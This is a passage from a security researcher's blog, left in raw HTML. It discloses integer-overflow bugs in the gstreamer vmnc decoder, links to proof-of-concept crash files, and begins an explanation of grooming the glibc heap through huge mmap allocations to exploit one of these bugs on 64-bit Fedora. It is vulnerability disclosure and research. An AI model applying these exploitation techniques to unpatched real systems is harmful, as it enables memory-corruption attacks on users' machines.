<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Where gsize appears to be like a </span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">size_t</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So this is one of those interesting cases this is a vulnerability on 32-bit but ok on 64-bit. On 64-bit, the largest value of </span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">size</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> was 0xffff * 0xffff. Multiplying again by 4 cannot exceed the width of a 64-bit type. On 32-bit, integer overflow is possible and results in a memory corruption, although a fairly wild one!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">6: vmnc decoder: wild read due to integer overflow</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0010)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fixed, possibly as an accidental side effect of fixing the more serious integer overflow CESA-2016-0002.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File: </span><a href="https://security.appspot.com/security/vmnc/vmnc_wild_read.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_wild_read.avi</span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (type == CURSOR_COLOUR) {</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> datalen += rect->width * rect->height * dec->format.bytes_per_pixel * 2;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (len < datalen) {</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GST_LOG_OBJECT (dec, "Cursor data too short");</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A simple integer overflow in calculating how much input data is required for a cursor of a given size.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bugs bugs glorious bugs.</span></div>
<span id="docs-internal-guid-995df128-d21d-39f2-16a6-b0b5381fc801"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-37591887332127405022016-12-05T00:51:00.001-08:002016-12-05T00:51:45.489-08:00[1day] [PoC with $rip] Deterministic Linux heap grooming with huge allocations<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In a previous blog post, </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">I disclosed CESA-2016-0002</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, an 0day vulnerability (without exploit) in the vmnc decoder of the gstreamer media subsystem, which is installed by default in Fedora.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Because a Fedora fix was somewhat slow in coming, I decided to attempt to exploit this vulnerability. This would have to be another scriptless vulnerability. My </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">previous scriptless exploit against the FLIC decoder</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> showed that these can be tricky, at least for me.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">TL;DR: I failed to get a full exploit going before Fedora issued a fix. At the time of writing, my Fedora 25 install just received </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstreamer1-plugins-bad-free-1.10.1-1.fc25</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which appears to fix the bug. However, </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fedora 24 appears to remain unpatched</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Before stopping I did find another instance of a Linux allocator quirk that I think needs to be properly documented, discussed and fixed.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Recap of exploitation primitives</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can refer to the </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">original post</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for a fuller description, but essentially, the vulnerability is an integer overflow in canvas allocation, leading to decoder commands operating on out of bounds memory. Because one of the decoder commands is “copy within canvas”, we have a very powerful exploitation primitive -- we can set both the source </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">and</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> the destination of the copy to be out of bounds, so we can start resolving ASLR by copying pointers around.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The main challenge in proceeding with exploitation is heap layout. If you run my original PoC </span><a href="https://security.appspot.com/security/vmnc/vmnc_width_height_int_oflow.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_width_height_int_oflow.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, you’ll get a crash with mappings something like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">555555757000-55555645b000 rw-p 00000000 00:00 0 [heap]</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa0000000-7fffa006e000 rw-p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa006e000-7fffa4000000 ---p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa4000000-7fffa4022000 rw-p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa4022000-7fffa8000000 ---p 00000000 00:00 0</span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The canvas dimensions for the video are 0xffff x 0x8001 x 16bpp, giving an allocation size of 65534 bytes. The crashing dereference address for the bad write off the end of the canvas is 0x7fffa40237fe. The corresponding mapping is highlighted with bold above. The immediate problem is there’s not too much of immediate interest inside the affected thread arena. The decoder metadata object -- often a very interesting target for corruption -- is in the previous thread arena (the one of size 0x6e000). On 64-bit, we don’t have enough range in our heap corruption primitive to “wrap around” the address space and target that. On 32-bit, this is likely feasible. But we’re going after 64-bit today.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sure, there’s a bunch of pointers inside the affected thread arena, but going after any of them with a scriptless attack is likely going to be a headache. And it may require heap grooming. Today, we decline to proceed here.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Linux heap behavior to the rescue!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The way we at least start to try advancing reliable exploitation is by abusing deterministic behavior for huge allocations in the Linux glibc allocator.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">By default, the glibc allocator will fall back to using </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to allocate very large allocations, and do so for some fairly large number of mappings if necessary. The parameters here are tunable but on 64-bit Linux, typically up to 65536 allocations will be allowed via </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and anything >= 128kB will use </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Our integer overflow primitive is a straightforward 16-bit width x 16-bit height overflow, so it’s fairly easy to pick some values that when multiplied together result in an integer overflow but still a large allocation size.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So when glibc calls </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to service a large allocation, what happens? The code is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">glibc/malloc/malloc.c</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sysmalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, with </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nb</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> being the number of bytes requested:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#define MMAP(addr, size, prot, flags) \</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> __mmap((addr), (size), (prot), (flags)|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Courier New, Courier, monospace; font-size: xx-small;">…</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (av == NULL</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> && (mp_.n_mmaps < mp_.n_mmaps_max)))</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> size = ALIGN_UP (nb + SIZE_SZ, pagesize);</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* Don't try if size wraps around 0 */</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if ((unsigned long) (size) > (unsigned long) (nb))</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"> mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Simple enough, and there’s even care to avoid integer overflow :-) Of interest is the first parameter to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, the address parameter, which is passed as </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">NULL</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This is telling the kernel: “figure out a suitable address yourself”.</span></div>
